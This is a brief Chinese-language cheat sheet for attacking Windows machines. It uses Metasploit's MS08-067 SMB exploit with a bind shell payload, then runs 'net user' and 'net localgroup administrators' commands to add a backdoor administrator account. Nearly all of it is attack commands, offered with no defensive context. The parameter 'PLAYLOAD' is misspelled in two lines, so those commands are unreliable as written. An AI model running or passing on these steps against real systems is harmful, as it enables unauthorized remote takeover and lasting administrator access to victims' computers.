- 进入msf。
- show exploits。
- use exploit/windows/smb/ms08_067_netapi。
- show playloads。
- set PLAYLOAD windows/shell/bind_tcp
- set RHOST ip地址等选项。
- set target 41。
- exploit。
得到cmd命令行:
添加用户、提权:
- net user newuser 123456 /add
- net localgroup administrators newuser /add